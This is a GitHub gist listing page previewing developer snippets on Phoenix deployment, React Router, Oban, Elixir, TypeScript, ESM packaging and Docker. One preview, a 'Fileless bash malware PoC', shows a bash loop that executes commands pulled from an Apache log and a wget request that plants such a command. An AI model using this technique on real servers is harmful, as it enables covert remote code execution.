Skip to content

Instantly share code, notes, and snippets.

View w0rd-driven's full-sized avatar
🌴
Chill

Jeremy Brayton w0rd-driven

🌴
Chill
View GitHub Profile
@staknine
staknine / live_saas_kit_deploy.md
Last active June 9, 2022 14:37
Steps to deploy LiveSaaS Kit on Fly with Phoenix 1.6.9

Here are the steps to update Phoenix Live SaaS Kit for Fly and Phoenix 1.6.9:

Initial Deployment

  1. git init, git add ., git commit -m "init repo"
  2. Remove generated docker & deploy script files
  • build.sh
  • docker-entrypoint.sh
  • .dockerignore
  • Dockerfile
import "./index.css";
import React from "react";
import ReactDOM from "react-dom";
import {
DataBrowserRouter,
Route,
useLoaderData,
Form,
useNavigation,
} from "react-router-dom";
@sorentwo
sorentwo / recording_output_with_pro.livemd
Created February 21, 2022 14:15
Demonstration of using Oban job output with Pro's Relay and Workflow

Recording Output with Oban Pro

Setup

To get started, install Oban, Pro, and our dependencies. Note that the oban_pro install requires a working Pro license.

Mix.install([
@PJUllrich
PJUllrich / big-o.md
Last active April 28, 2024 14:19
Big-O Time Complexities for Elixir Data Structures

Big-O Time Complexities for Elixir data structures

Map [1]

Operation Time Complexity
Access O(log n)
Search O(log n)
Insertion O(n) for <= 32 elements, O(log n) for > 32 elements [2]
Deletion O(n) for <= 32 elements, O(log n) for > 32 elements
@idlehands
idlehands / 00_info.md
Last active May 20, 2023 11:28
-info and links
@timb-machine
timb-machine / Fileless bash malware PoC
Last active September 19, 2022 18:26
Fileless bash malware PoC
$ echo "while :; do grep "BAH~" /var/log/apache2/interesting.log | cut -f 2 -d \"~\" | tr '_' ' '; done" | exec bash
$ wget --no-check-certificate 'https://interesting/?BAH~touch_/tmp/foo~'
root 10680 10679 0 21:27 pts/1 00:00:00 /bin/bash
root 11125 10680 17 21:27 pts/1 00:00:02 bash
$ ls /proc/11125/fd
total 0
dr-x------ 2 root root 0 Jun 28 21:27 .
@adolfont
adolfont / recursive_anonymous_function.exs
Last active April 9, 2021 22:49
Recursive anonymous functions in Elixir
f = fn
(_, 0, acc) -> acc
(g, num, acc) -> g.(g, num-1, acc+1)
end
# f.(f,10,10)
# Source: peerreynders at https://elixirforum.com/t/recursive-anonymous-functions/18421/4
"Functions are values …" Peer Reynders
@jamiebuilds
jamiebuilds / tradeoffs-in-value-derived-types-in-typescript.md
Last active December 16, 2022 17:21
Value-derived types in TypeScript are super powerful, but you should be thoughtful in how/when you use them

Tradeoffs in value-derived types in TypeScript

Many of the more "advanced" typescript features can be used for creating "value-derived" types.

At its simplest form:

let vehicle = { name: "Van", wheels: 4 }
@sindresorhus
sindresorhus / esm-package.md
Last active June 11, 2024 07:35
Pure ESM package

Pure ESM package

The package that linked you here is now pure ESM. It cannot be require()'d from CommonJS.

This means you have the following choices:

  1. Use ESM yourself. (preferred)
    Use import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the below guide.
  2. If the package is used in an async context, you could use await import(…) from CommonJS instead of require(…).
  3. Stay on the existing version of the package until you can move to ESM.
@viezel
viezel / Readme.md
Last active May 30, 2023 22:51
Invoker Docker support

Use Invoker with Docker

composer require viezel/dock --dev
php artisan dock:install

Now publish the docker-compose